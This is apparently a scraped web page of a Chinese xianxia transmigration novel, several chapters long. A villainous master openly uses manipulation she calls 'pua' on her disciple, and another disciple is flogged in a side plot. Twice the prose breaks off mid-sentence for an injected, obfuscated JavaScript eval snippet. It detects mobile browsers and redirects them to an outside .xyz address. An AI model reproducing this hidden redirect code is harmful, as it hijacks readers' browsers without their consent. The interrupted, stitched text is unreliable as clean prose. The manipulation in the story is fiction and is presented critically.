江以卓的声音突兀响起，周玉衍心口猛地一跳，这才意识到自己刚才屏住了呼吸，她微微喘息，压下本能剧烈的心跳，朝江以卓望去。 “师尊在想什么？是有人死在秘境中吗？否则师尊为何……这副神情？” 江以卓表情古怪，隐晦地探出打量的目光。 周玉衍脸不红心不跳：“我是想到你了。” 话完果然见江以卓明显愣神，她继续说道：“为师在秘境中遇到一位世外高人，向她请教了一番修炼的问题。” 周玉衍张口就开始瞎扯：“我觉得她的法子很好，方才回来路上，我已经为你制定好修炼任务了，以你的天赋，加上她的修炼方法，修为定能一日千里。” “若是日后有机会，我领你去见见那位前辈。” 江以卓回了神，应话道：“师尊决定就好。” 周玉衍于是领着江以卓到院前空地，从储物戒中翻出一个高阶的修炼法宝，以及一本被翻得卷了边的《天云宗弟子基础剑法》。 她将两样东西递给江以卓，然后正色道：“从今日起，你每日挥剑万次、吐纳调息万次、聚灵控灵万次。” “先这样练一个月，之后根据学塾的课业，再加上其它需要练习的法术。” 江以卓微微皱眉：“万次？可不管是聚灵、练剑招，或是运转周天，都不是几息就能完成一遍的，一日的时辰……” 周玉衍点了点他拿在手中的修炼法宝，说道：“所以给了你一个高阶的修炼法宝，你可以进去法宝里修炼，外边一个时辰，里面三个时辰。” “我算过了，你结束一日的学塾课业后，进去修炼法宝里面练功，练完功出来正好歇息。” 周玉衍发挥着高层压力中层、中层压力低层的催指标大法：“时间虽然不多紧张，但是任务确实很重，你要一心修炼，努力进阶。” 江以卓面上犹疑，但嘴上却是很快应下了：“好，都听师尊安排。” 他翻看着基础剑法，惊讶发现上面几乎每个招式都有被人写上注解分析，详细到让他觉得，大抵只要识字，就能通过这些批注领悟到一招半式。 “这些……是师尊写下的吗？” 江以卓抚着书页，上面的字迹风神洒落，倒是很合自己这位师尊的气质。 周玉衍当然不会说这是她刚穿过来时看不懂修炼的功法、于是翻出来弟子们修习的基础剑法逐字逐句的努力“中译中”，写下给自己看的批注。 她语速放缓，语气真挚：“自然。” “昨日将你带回来后，我就连夜在上面写了许多注解。虽然这是些基础剑法，但毕竟你从前是凡人，或许还是有些难理解。” ——才怪。 她相当清楚江以卓自带的男主光环根本不会让他出现“看不懂功法”的情况，别管什么凡人修士的鸿沟，也别管什么没碰过剑的人直接上手练剑有多困难，只要牢记金手指大于一切逻辑就完事了。 但这种夸大付出的好时机，她当然得把pua贯彻到底，一分说成十分：“好徒弟，你可要好好修炼，莫要枉费为师的良苦用心。” 江以卓眼神复杂，低低应声。 周玉衍于是开始教他基础的剑招，果然跟她想的一样，江以卓的悟性根本就是开挂，过目不忘都说轻了，他过目就能上手，随意挥出一剑流利得就像已习剑十几年，跟那些天生剑骨的修士没多少差别。 她只用出声告诉他刚刚那一剑该收些力或是多发些力，再偶尔上手纠正一些很细微的差错，之后江以卓基本再不会犯相同的失误。 一套剑法下来，江以卓似乎也发现了他自己的天赋异禀，动作幅度渐小，偶尔剑尖一斜，挥出的剑刻意偏离，有时甚至在周玉衍示范过后，摇头说他并未看懂方才的出招。 “弟子愚钝，”江以卓抱拳行礼，“师尊再多出几剑吧。” “我第一次习剑，虽说师尊给的是木剑，我却还是有些怯意，方才……” 江以卓突然止住了话，因为周玉衍拎起她的剑鞘就打在了他的侧脸上。 其实也没有“打”那么重，说是“拍”或许更合适，但江以卓即刻沉下来的眼神让周玉衍怀疑自己是不是没控制好力道，真就狠狠给了他一巴掌？ “师尊惩处弟子的方式还真是别致。”江以卓掀眼望来，表情说不上是好与不好。 周玉衍于是控制好了力道，重重地给他的另一边侧脸来了一剑鞘。 那一刹江以卓的目光几乎是要将人刺穿，周玉衍看得都想啧啧两声了。 看看，撕了羊皮就是这副神情，装模作样的水平还是欠缺了一些忍耐力。 周玉衍：“你的天赋这么好，分明看一遍就会使，装作看不懂做什么？” 江以卓敛 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他到了掌门大殿，行礼道：“弟子羡折，见过叶掌门。” 叶掌门摆手示意他起身，然而开口却是说道：“我听闻你在青云秘境外冒犯了别宗数位长老，并且你还又进了一趟青云秘境。” 羡折回话：“确是情急之下冲撞了长老们，我正要去领罚。后面再进青云秘境，是因探出秘境边界不稳，需尽快将秘境中的同门救出。” “你再进青云秘境……罢了，你消了魔障就好。” 叶掌门继续道：“我其实也都听说了，你是为天云宗那位周长老挡招。” 羡折应是：“周长老那时在开秘境，我若是旁观，她会受伤，秘境也可能受牵连加速崩塌。” “仅是如此？”叶掌门问。 “仅是如此。”羡折说。 “羡折，”叶掌门叹息一声，“我也算是看着你长成现今这副模样的，你性子虽冷，却也稳重，我也与你说过许多次，除开掌门之位需要一位擅言之人，日月宗往后的许多职权，我是要交与你的。” “我以为其中许多事，我不必多说。” 羡折顿了一下，没应话。 他看着眼前静静望着他的叶掌门，长者慈爱又怜悯的目光笼在他周身，让他一时坐立难安，心生惭愧。 他再次行礼，声音轻了许多：“弟子自知逾矩，也……自会克制。” 叶掌门摇头：“她与你不过第二面吧？纵是在街市朝夕相处，可我也清楚，你不是会与旁人多亲近的人。” 羡折轻声纠正：“是第三面。” “约两年前，穆掌门做判决时，弟子奉命与几位同门去过天云宗。” 叶掌门稍有些惊讶：“竟是那时？我听孟长老说，你因为周长老体内有噬魂钉，提出要减些惩处。” 羡折：“噬魂钉摧人心智，不该……按那几位长老的说法判决行刑。” 叶掌门：“便是那一面，叫你起了意？” 羡折久久无言。 他其实也说不太清，自己对周玉衍称不称得上是心悦，但于他而言，她无法忽视。 他天赋极高，自小修习严苛，懵懂地接受周围人对他莫名的沉重期盼、与掩饰在规则礼法下的眼红与忌恨。 家中长辈常说，修炼是为了飞升，为了爬到最高的位置，为了胜过旁人。 习剑二十几年，他平静地逐流。 但那一日，他触到了海侧。 那时二人坐在崖边，周玉衍一身的伤，模样十分狼狈，神情也怔愣。 可她的声音依旧是清晰的。 “那不是教导，那是规训。” “同化我的思维，磨灭我的意识，同样是在扼杀我。” 周玉衍喃喃道，“我不能就这样死去。” 18. 第 18 章 “罢了，”叶掌门叹道，“你不愿说，我也不多问了。” “我观你周身气息并不太稳，在青云秘境中受了伤？” 羡折：“巨蜥躁动，我为强压其外散的灵力，受了些内伤。” “青云秘境之事，还需待各宗长老调查，过后我会给你个交代。”叶掌门说。 “不夜城周边有妖兽出没，我叫孟长老挑了几位弟子接这个任务，你也一同去。” 叶掌门：“还有一个月的时间，足够你养好伤了。” 羡折垂眼行礼：“是，弟子领命。” 叶掌门点头：“你在街市也待了一年左右了，这次过后，便回宗门吧。” “成日对着一人，难免生些杂念，莫要多忧多虑。迷途知返，照常修习即可，我对你还是放心的。” 羡折沉默了一阵，最终还是应下。 他自掌门大殿出来，朝着执法堂走去。 杨长老果真等在执法堂前，见他来了，扬着下巴冷哼一声：“鞭刑百次，自去领罚吧。” 羡折应是，走进熟悉的刑堂，跪在泛着寒气的玉石上，将自己的剑平放在膝前空地，平静地等待行刑。 没一会儿就传来脚步声。 法鞭挥动得极快，破空产生的鞭哨声几乎震耳，紧接着“啪”的一声，混着粗绳割破衣物与皮肉的刺啦声响，第一鞭落下。 羡折呼吸微顿，皱了皱眉。 鲜血即刻从他的背部滑下，渗透了白衣。 法鞭的挥动一息未歇，鞭梢不断打在羡折背上，每一击的力道都极重，似要劈破他的脊骨。 但羡折一声不吭，甚至面上也未显痛色，只是眉头蹙得很紧，额间细汗顺着脸侧不断滑至颈间。 “鞭数已过半百，羡师弟可以运转周天了。” 羡折闭眼，默念着心法运转周天。 “好在这回是你萧师兄我来行刑，若换成旁人，可不会出声提醒你，只能你自己一鞭一鞭数了。” 羡折没有应声。 执法堂的行刑，前半段是不允许运转周天聚灵的，只能靠自身硬抗，行刑后半段允许聚灵，也只是为了让受刑人能用灵力吊着一口气。 “可还撑得住？莫要死在这刑堂上了。” “羡师弟上次受刑留下的伤还没好全吧？现今又挨上百鞭，想来定是不好受的。” 萧师兄的语气掩饰不住的刻薄：“撑不住了就跟萧师兄说，虽说我不好徇私留手，但让你歇上几息喘口气缓缓还是可以的。” 羡折只说：“萧师兄行刑就好。” “倒是我多嘴了，也是，你修习的秘法那样特殊，多受些伤才是好的，”萧师兄语气莫名，“寻常人受伤是白受痛，你受伤可是白涨修为境界。” “别说师兄下手无情，这都是为了你的修炼。” 他即刻抬鞭，瞪着眼竭力一挥—— “师兄是为你好！” * 羡折受完刑，同往常一样回到自己的住处。 他的住处是叶掌门特意划出的一间大院，院中有几池疗伤的灵泉。 羡折先是勉强施了个清洁术，好让原本与凝固的血块一起粘在身上的里衣能脱得不那么费力。 再然后他褪下衣物，踏进灵泉之中。 心诀即刻运转，引着这方灵气进入经脉，为他所用。 比上一回好受一些。羡折心想。 上回他受过刑后，连站起的力气都没有了，是孟长老差人将他扶回院中的，他还记得其中有位师妹很是气愤，问他可是得罪了执法堂的什么人，这般用刑根本就是公报私仇。 他没回答。 他修习的秘法特殊，不论是执法堂行刑的师兄，还是看管着执法堂的几位长老，只要说一句这般是为助他提升境界，他就没法再说任何的话。 因为他确实要遵循破而后立的修炼方式，单论行迹，他们的确是为助他。 羡折垂眼望着水面，灵泉水汽氤氲，模糊了他的眉眼，他看不清自己的神色。 年少受痛时，他不止一次想过，若是能不修习这等秘法就好了。 思及此处，羡折习惯性地伸手，想去握颈前的方形玉，摸空后一愣，才想起自己前几日将方形玉送给周玉衍了。 因为她收了个极煞命格的徒弟。 羡折稍稍有些烦躁，运转心诀的速度加快，想纠正自己偏离了的思绪，专心引灵泉灵气修炼。 但大抵越是刻意避开才越是在意，灵力绕着周天走了一通，他却连念着的心诀都乱了套。 好不容易屏息凝神，羡折正要重新运转心法，然而自视内里时却突然想起，周玉衍给他渡过灵。 他现今还能想起她的指尖搭在他腕间脉上的温度。 他体内的旧伤被她渡来的灵力修复完全，这回受刑才能撑上这么久。 这样突来的明悟，又恰在这时，扰得他的心跳也纷乱，彻底没了静心修炼的可能。 羡折缓缓调整着呼吸。 叶掌门说得对，自己不该再去见她了。 现今还来得及……迷途知返。 * 周玉衍睡了个好觉。 她打着哈欠起床准备洗漱完照常去街市时，先收到了穆掌门的传召，说是魔界边境有些动静，长老们需商讨相关事宜，要她来掌门大殿一趟。 周玉衍没什么意见，开早会嘛，她很熟悉。早会总是来得临时又突然的，最可能收到开会通知的并不是前一天傍晚，而是当天早上刚睁眼的时候。 可惜修真世界，传召都用感应玉牌，她没法两眼一闭装做看不见这提前上班的噩耗。 周玉衍撤掉结界推开房门，意外地看见江以卓在院前空地练剑。 他已经换上了天云宗的弟子服，白衣做底，浅蓝流云纹浮上，随着他挥剑的动作，真好似天边云卷。 在周玉衍踏出第一步时，江以卓迅速转头，浑身剑势锋利。 “……师尊。” 周玉衍随意点点头：“动作很标准，力道也很好，只是你心中不静，剑势虽锐，却生不出半点剑意。” “剑修最重要的是找到自己的剑心剑意，你这般只能算作有形无神，空有其表，遇上顶尖剑修走不过几招。” 江以卓停下动作：“我习剑不过一日，如何生得出剑意？” “我昨日翻看了学塾下发的弟子要则，以及一些古籍，寻常人若想修得剑意，至少也需几年。” 不不不，对于男主来说，习剑一日没有剑意根本就是主角光环出bug了，问题非常严重！ 周玉衍巴不得问题再严重一点。 “旁人修不出剑意，那是旁人的事，”她语气冷淡，严苛道，“你不该对自己仅有这点要求。” 周玉衍与他对视：“寻常人做不到，你做不到吗？” 江以卓的眼神逐渐锋锐，毫不遮掩地显出野心：“师尊说得不错，旁人做不到是旁人的事，我却一定要做到。” 他没再露出之前那副刻意乖顺的神情，周玉衍却觉得顺眼多了：“不错，既有决心，就好好修炼，得道指日可待。” 江以卓应是，转身接着练剑。 周玉衍看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214740|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿，分明江以卓挥剑的动作极其标准，发力收力的时机也准确无误，她却还是觉得他的剑说不出的急躁激进，锋锐毋庸置疑，但也仅有锋锐。 她皱起眉头，有些困惑，哪怕江以卓这原书男主温润君子的性子是装的，但原书给他设定的实力却是实打实的，他的剑不该是这样的剑。 这样的剑，挥出时带起的剑风都如利刃割喉，迫人得要命。 周玉衍微顿。 若说是单纯要人性命，倒还挺合江以卓这人的气质。 她收回眼，准备出院门慢悠悠地散步散去掌门大殿。 系统在这时冒了出来，语气很是痛心：“你怎么能这样打击男主！身为男主师尊，你该鼓励他支持他才对！” 周玉衍：“哪里是打击？这叫因材施教，他刚刚那反应不是很好吗？多有野心多有冲劲啊，我这就是激励。” “你这明明是贬低和激将！”系统大叫，“发展久了就成精神控制了！” 周玉衍丝毫没有被戳破的不好意思，大方承认：“没错啊，pua怎么了，pua多好用，我不是要做折磨男主的任务吗？” “追夫火葬场的办法最好用了，精神.肉.体.都虐一虐他，既能刷好感，又能控制人，我哪天给他个好脸色，你信不信他还得感激涕零，觉得是他自己的付出与努力有了成效。” 系统气得只知道重复一句：“你不能这样对男主！” “我能。” 周玉衍脸不红心不跳地说，“不是还得发展什么师徒禁忌虐恋吗？我这办法绝对有效，爱不爱的另说，但长此以往，他一定没法轻易割舍掉我这个师尊。” “效果跟原书中的‘非人折磨’差不多，系统你就放心吧。” 系统：“我放心个鬼！你就不能想个正常人的办法吗？！” 周玉衍装模作样地叹气：“你知道你这一句话把多少人打成了不正常的人吗？” “——骂得好啊。” “但我都pua他了，那当然也得发挥好知错不改的嘴硬大法，你别浪费精力企图改变我让我‘浪子回头’了。” 系统气得哆嗦，好一会儿没说出话。 周玉衍戳戳它：“气什么，刚才我第一句话开口时，你又没阻止。” 系统：“……男主变化太大，我还没跑出最合适的纠错方案。” 周玉衍懒散道：“照着本性活着，在你的数据库中，竟然算是错误？” 系统没答话，周玉衍静了几息，继续道，“那就特殊情况特殊对待，我来因材施教。” 她在踏出院门的那刻，回头望了一眼。 江以卓的神情极其专注，挥剑的破空声接连不断，其势越发凌厉。 周玉衍心道，这是一把杀人的剑，不是修道的剑。 * “周长老来得可真早，就差你一人了。” 周玉衍刚踏进掌门大殿，就听见一句阴阳怪气的话。 她都懒得循声去望那人：“不早不晚，正好在穆掌门传召时所说的时辰。” 最后出场的除了主角，还有她这种不想管事的npc，周玉衍心道，踩点已经是她给“临时通知提前上班”最大的尊重了好嘛！加时间又不加钱！ 大抵她昨日强撕秘境的事传得很快，殿内长老并没有像之前一样发出嗡嗡的指点声。 周玉衍朝穆掌门点了点头，走到自己的位子。 穆掌门见众长老来齐，开口道：“魔界躁动，边界不稳，我已与别宗掌门探讨过，决定挑选几位弟子由长老带着去填补边界阵法，当作历练。” 19. 第 19 章 周玉衍百无聊赖地听着穆掌门和其他长老激烈地探讨。 她手握剧本，清楚这段剧情是女主金丹期的一个情节。 魔界边界阵法的效用减弱，但也没到什么危急时刻，不必昭告引人心慌，于是各宗门对外宣称那方临近的城池有灵兽出没，下发任务要宗门弟子前去历练。 再由带队的长老忽悠弟子们为周边城池布几个护阵，实则是为巩固魔界边界的阵法。 宗门弟子外出历练做得最多的任务就是除灵兽，这段情节本来没什么特殊的地方，但祝临兰身为女主，特殊剧情自然会找上门来。 她在任务中发现一位可疑之人，那人偷了一位长老重要的法宝，祝临兰于是跟踪着那人潜进了魔界，解决掉人后拿回法宝又潜出了魔界。 只是这等事迹，却因涉及魔界之事，宗门并没有宣扬。 周玉衍盘算着，那个魔族的修为境界在金丹中期，原书中祝临兰对付着有些吃力，受了不轻的伤，但自己之前为她打了三道护阵，这下正好能派上用场，仅是金丹中期的人，伤不到祝临兰。 她放了心，正要接着神游，却突然被点了名—— “周长老意下如何？” “我挑选几位弟子，由周长老带队任务。”穆掌门说。 “周长老既能撕开秘境，想来境界已经临近化神，由周长老带队任务，我倒是很放心。” 原先将起的一些声音消失无踪，大殿内颇有些噤若寒蝉。 穆掌门又重复了一遍：“周长老意下如何？” 周玉衍深深吸气，临时开早会，还被告知要加班出差，她意下能如何！ “不如何。” 周玉衍说，“我这还是‘戴罪之身’呢，街市小摊等着我赚钱。带队任务这事，还是交给别的长老更合适。” 宗门人的脑回路中，长老带队在大部分时候都是一种威望的体现，尤其各个宗门联合去做什么事，带队的长老基本是代表着宗门脸面。 按理来说，这样的“好差事”是轮不到她的，当然她也非常乐意把这份“好差事”的“福气”给别人。 虽说她直接拒绝会显得很不识抬举，但她也有办法婉拒，毕竟——哪有被卸了位子还干着原本该干的活儿的道理！ 穆掌门似乎也反应了过来：“的确如此，这般确实不合适。” 还没等周玉衍满意应声，他接着说道：“即日起，周长老不必再去街市了，恢复长老头衔。” 穆掌门笑起，“这些时日辛苦周长老了，虽说因着惩处卸任了您的长老之位，但宗门在许多时候也借助了您的力量，其实这般也不算真正卸任。” 周玉衍没好气，这人还好意思说！与其说这些有的没的，还不如实在点给她加班费！ “尤其昨日，周长老救出了被困青云秘境的各宗弟子，几乎可谓千秋功勋，往后必将得人传颂，我天云宗也是沾了份光耀。” 这就有些夸张了。周玉衍盯着穆掌门，莫名觉得这人这话像是拿她当招牌打着招生广告。 “穆掌门言重了，我在街市摆摊没什么不好，反正我近年也没有闭关的打算，在宗门也没什么事可做。” 穆掌门似乎有些犹豫，但很快他就说：“街市……周长老若是乐意，便随您的意，不过长老头衔还是要恢复的，之后还有一个月的时间，周长老考虑考虑带队之事吧？” 周玉衍正要摇头拒绝，穆掌门的话却还没完，“长老头衔恢复，待遇自然也该恢复，宗内俸禄原先为一百万灵石，但周长老昨日立功，升至两百万灵石，带队任务耽搁周长老修炼时间，合该再补上五百万灵石。” “议事过后，我便要负责此事的长老将灵石清点好，装进储物戒送去周长老的院子。” 周玉衍刚要摇的头直接就定住了。 她突然觉得，其实她也可以奉献一点、团队一点的。 “既是弟子们的历练，我愿带队任务。” 系统：“……人为财死鸟为食亡！” 周玉衍很坦然：“人之常情！” 早说加钱，她早就答应了，犹豫一秒都是对这个数目的不尊重，这是加班出差吗？这是带薪旅游！ 系统愤愤道：“你怎么不拿出呛我的那种骨气严词拒绝！” 周玉衍被系统的不要脸震惊住了：“你有什么好处给我吗？连任务完成后看广告复活这种最基础的穿书福利你都没有，我给你白打工没有一分钟骂你一次已经很客气了。” “人在江湖，大家都是同事，穆掌门好歹知道我想要什么，互利互惠没什么不好。” 周玉衍：“升官发财是女人最好的医美。你这个要什么没什么只知道偏爱男主的破系统还是赶紧更新换代吧。” 系统被戳到痛处，闭嘴了。 “周长老的住处也搬回之前的长老院子吧，”穆掌门扬着笑，“芸清说原先周长老住在那方时，每日练剑溢出的剑气催人进取，让她很是受益。” 周玉衍怔了怔。 她没想到，穆芸清竟然会为她说话，她还以为，有穆掌门这座名为父亲的巨石挡在穆芸清身前时，二人多少会因为灵果之事有些芥蒂。 周玉衍犹豫了一会儿，说道：“住处就先不搬了，芸清若是需要，我每隔几日去她院中与她一同练剑。” 她的剑修得其实并不如许多厉害的剑修，出招也多是依靠灵力技法，更不用说现今住进来个江以卓，这人练剑产生的剑气可没有什么好感悟的，杀神一样。 要是搬回原来的院子住到穆芸清隔壁，她都怕近墨者黑了，把穆芸清好端端的宗门正统的剑气带偏。 穆掌门倒也没勉强：“周长老决定就好，那方院子一直都有留着的。” “既然周长老愿意带队，议事就到此，回头我去挑选几位弟子，再与周长老商讨详细的事宜。” 周玉衍环视一圈神色各异的长老们，喜滋滋地轻功飞回院子等着装满灵石的储物戒送上门来。 收到灵石后，她摸出了一块怪模怪样的玉块，久违地向其注入灵力。 玉块微微发亮。周玉衍算了算时辰，这会儿穆芸清大抵还在进行一日的课业。 她拿着发亮的玉块，留音道：“你今日吃不吃宵夜？许久没用过这玉块传音了，但你应该……也没有丢掉它吧？” 出乎她意料的，玉块对面几乎是立刻就传来女子清越的声音：“我辛辛苦苦刻了大半月的玉块，我怎么可能丢掉！” 穆芸清眼眶微热，咬牙切齿：“我要吃三只山鸡！你要是烤得没从前好吃，我就把你的灵石全克扣了！” 周玉衍忍不住地扬笑，欢快地应了她。 * “师尊当真要弟子一同前去不夜城？” 江以卓神色犹豫，“可我不过筑基后期，连筑基大圆满的壁垒都还没摸到，更别说金丹。” 一个月过去，周玉衍因为要带队，一直没去街市，在宗门内休了假，白天修炼，傍晚教导江以卓修习，半夜跟着偷摸出来的穆芸清加餐。 羡折之前给她的丹药还有许多，对她体内的杂质很有效果，她再也没有因为身上的疼痛辗转难眠。 这一个月她过得太舒服了，于是决定给江以卓找点事做，出发前一晚她跟江以卓说，明日随她一同外出历练。 临时加练，不容拒绝。 “自然。” 周玉衍说，“只是去解决一些小灵兽，不需要多高的修为。” 江以卓微微皱眉：“可一起任务的其他同门，都是金丹期。” 这一个月过去，江以卓的性子也稳定了许多，只不过稳定在于他不再扮作小绿茶了。 出了院子就是温和有礼的谦逊弟子，进了院子就是把野心野性毫不遮掩摆在面上的……的…… 周玉衍想不出太合适的形容词。 “无事，一起去，这是个很好的历练机会，其他宗门也会来许多弟子，你正好也瞧瞧他们的剑，说不定对你找到剑心剑意有所帮助。” 她话完便见江以卓眸光闪动，清楚他这是有些意动了。 “你顾虑什么？与师尊说说？”周玉衍坐到江以卓身侧，一副要跟他唠家常的模样。 江以卓侧头望来：“我的修为境界太低，若是出了什么意外，怕是会成拖累。” 系统立刻抢话：“男主怎么可能会是拖累！别的那些npc才是拖累！” 它痛心疾首地控诉着周玉衍：“都怪你平时只知道打压他，害得他一个月过去，连这点自信都没有了！身为男主，他竟然怀疑自己的能力！” 周玉衍：“……身为反派，我要怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214741|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下你这个系统的智商，尤其是在跟男主搭边的事情上，你降智得非常严重。” 她把嗷嗷乱叫的系统丢进了小黑屋，面上不显任何，眨眨眼道：“无需顾虑这些，师尊护着你。” 江以卓微顿，语气微不可察地轻和了一点：“但掌门恐怕也不会允许我这点修为就外出历练。” 这事周玉衍在决定把江以卓带去历练时就已经解决好了。 她原本也没做这个打算，但或许是因为她没有跟原主一样在江以卓身上抽血抽骨搞实验，江以卓的进阶速度飞快，一个月就到了筑基后期，她觉得五年元婴三年化神这个目标定得有点太看不起男主光环了。 她不信江以卓会在金丹期卡上五年，多去历练，还能再加快他的境界速度，实战和点到为止的切磋终是不一样的。 她也是这么跟穆掌门说的。 穆掌门起初还在犹豫，毕竟江以卓这样的天才太遭人眼红，很容易在完全成长前就被人摧折了，待在宗门好生养着是最稳妥的做法。 但他听了这话沉思一番后，同意了此事。 而周玉衍被穆掌门的话提醒，有些明白了原主这个反派的用处，那就是用顶尖宗门顶尖修士的身份，为男主挡外面的灾祸。 同时折磨一下男主，塑造一下他坚韧不屈的品格，实际上他受过的痛连女主的十分之一都够不上。 周玉衍越发坚定要把江以卓带去历练——女主走的剧情，他也得走！为剧情做推动做奉献！ “我与穆掌门说过，他同意了。” “这回是我带队，往后却不一定，我想着既然如此，不如你的第一次历练还是与我一起去吧。” 周玉衍忽悠的话张口就来：“我平日教导你虽然严苛，但也仅是为了你的修炼，你应该都明白的。” 江以卓定定看着她，接话道：“弟子明白。” 周玉衍被他带着信任的目光看得有些心虚，但嘴上忽悠的话却是一点没停，“我不想你第一次外出历练，什么都不懂，被人坑害，正好这回是我带队，我……” “好，”周玉衍的话还没说完，江以卓稍有些急切地截断了她，“好，弟子与师尊一起。” 她微微愣了一下，没弄懂江以卓又在起什么小心思，但她的目的达到，于是也不再多费口舌去问他的态度怎么转变得这么快。 第二日晨起后，二人一同出发。 * 羡折站在日月宗的队伍前方，清点了人数上报给一旁的孟长老。 “此次不夜城的任务，寻常事宜找你们羡师兄就好。”孟长老说。 日月宗弟子们神色微妙，倒不是对孟长老这话有什么意见，而是羡折身上生人勿近的气势实在太强，叫众人很是踌躇。 羡折见此，也只是应了一声孟长老的话，之后再未多言。 耳边传来几句极小声的窃语，“羡师兄身上气势太吓人了”“之前见他还没有现今这般可怕”“我不敢找羡师兄怎么办？我宁愿去找孟长老问事情”…… 他并未敛起身上的势，但其实他也并未刻意起势，只是众人集合传送到不夜城之前，他在进行每日的练剑。 收了剑，剑势却不会那么快消散。 他也没多在意同门的窃语，总归里面并没有什么恶言。 羡折很清楚，他的剑太过锋锐，旁人规避委实很正常。 皆与他无关，他只需照常练剑，照常修炼，照常做任务，若有同门求助，他照常去助，待历练结束回宗门再照常新练几套剑法…… “羡折？” 带着惊讶的熟悉声音自他身后响起，羡折心口猛地一跳，思绪瞬间纷乱，而后他只觉自己脑中震荡似击擂，好半天才反应过来，那是他突然加快加重、却又杂乱无序的心跳。 他压不下心跳，只能顺着本能迅速回头。 周玉衍站在几步之外，神情惊讶：“你竟然也来了此地。” 接着她微微皱眉，似乎有些不满：“你之前说的倒是没错，我给你渡灵当真是浪费了。” “伸手，我再给你渡一回灵。” 她走上前来，向他伸手，问道，“你怎么身上又带着伤？” 羡折紧紧闭目，只觉得这一个月以来他所有的自我告诫，都在这一刻，被自己的心跳击得粉碎。 20. 第 20 章 再睁眼时，周玉衍还站在他身前，只是神色有些疑惑：“怎么这副神情？” 羡折哑声道：“我无事，仙尊不必……对我多费心。” 周玉衍颇有些摸不着头脑，渡个灵有什么费心的？更何况她是让系统开挂去渡灵，她搭脉只不过是做个掩饰。 “不算费心。你的伤有些严重，我神识扫过都能看出，”周玉衍催促道，“伸手，我给你渡灵。” 羡折没动：“仙尊回去天云宗的队伍吧，为我渡灵确实浪费，仙尊多去照看你们宗内弟子吧。” 周玉衍闻言回头望了望，天云宗弟子们正聚在一起兴奋地讨论着什么，眼神清亮，朝气蓬勃，连她那个好徒弟都不例外。 这不都好好的嘛，茁壮成长着呢。 她莫名其妙地将目光移回到羡折身上，心道事不过三，要是有四就直接上手：“伸手。” 羡折还是没动。 周玉衍抓上他的手腕，明显感觉到他震颤了一下。 灵力自她的指尖传进羡折的腕间脉时，指腹下抵着的脉搏跳得像是凸起的青筋，周玉衍觉着惊奇，没忍住摩挲了几下。 羡折的呼吸瞬间乱了，语气又僵又硬：“仙尊，松手。” 周玉衍没松手，但也没好意思继续乱摸，老实按着他的脉搏给他渡灵。 但几息后羡折一挣，将他的手撤了回来。 他开口重复着之前的话，只是声音更加低哑：“仙尊回去天云宗的队伍吧。” 他冷着脸，却也垂着眼，没敢望她：“仙尊与我并非同宗，这般并不合适，莫要……如此。” 周玉衍有些愣：“你不愿渡灵吗？” 羡折静了好一会儿。 他努力压下呼吸，压下心跳，压下胸腔内的涩意，硬生生道：“不愿。” 这两个字出口的那刻，羡折只觉得身上的伤口莫名发疼，疼到甚至让他都有些难以忍受，他迫切地想要说些什么，但什么话都说不出口。 “那便算了，”周玉衍想了想，羡折这般在意礼数，自己不管不顾直接上手确实冒昧，“抱歉，没顾着你的感受。” “不是！”羡折突然轻喝，却又在下一刻抿唇止住了自己的话，眉间紧皱，神色挣扎。 周玉衍很是疑惑，渡不渡灵的，不就一句话的事吗？怎么这人这么纠结？ “周长老，有些日子没见了，”孟长老在这时走上前来，弯眼笑道，“看来有些传闻并非空穴来风，周长老对羡折确是上心。” 周玉衍看到这位与她狼狈为奸的孟长老就有些为自己的未来发愁，认真思考着：要不等剧情节点到了，她就跑去把孟长老毒哑？这样他就没法把她供出来了。 “传闻断章取义，夸大其词，孟长老不可信以为真。”羡折急切道。 孟长老眼神讶然，细细打量了羡折一番，应声道：“确是如此。” 话完他向周玉衍传音：“你喜欢羡折这样的？” 周玉衍险些没能控制住淡然的表情，心道凭什么一个绯闻的影响力比她撕秘境这种光辉事迹还要大得多，且更加深入人心。 这江湖小报怎么那么能传！ 周玉衍没好气地传音回去：“尽是谣言！” 孟长老闻言即刻笑起，开口道：“难得能一同任务，你我两宗一起行动如何？” 这话倒是说到了周玉衍的心坎上，她正想着该怎么多与祝临兰接触，好第一时间助她顺利过剧情呢。 周玉衍毫不犹豫地应下，孟长老弯眼瞥过羡折：“羡折，去将这等好消息告知弟子们。” 羡折缓缓呼吸，勉强应话：“……是。” 孟长老若有所思，面上笑意却更甚。 周玉衍也转过身，召集天云宗的弟子们到这方与日月宗的队伍汇合。 江以卓第一个跑上前来，神色微妙，悄声问道：“师尊怎的突然这般决定？” 周玉衍答得很随意：“互利共赢嘛，强强联手嘛，多个人多份力嘛，反正不碍事，轻松点做任务多好。” 江以卓直白道：“可我不喜那人。” 顺着江以卓的目光，周玉衍看见上前给孟长老复命的羡折。 周玉衍心里嘀咕：真记仇，还好那时没亲自出手。 她开口，敷衍地和稀泥：“莫要仅依着第一面的印象看人，你既然一心修炼，就多看看他的剑，他的剑意很好的。” 江以卓没应话。 孟长老见天云宗的弟子们聚来了这方，领着羡折上前迎接：“这位便是周长老的徒弟吧？我听闻你入道不过一月，竟然就已经修至筑基后期，后生可畏啊。” 江以卓谦逊行礼：“师尊教导得好。” 孟长老点头：“性子也不错，确是可塑之才。” 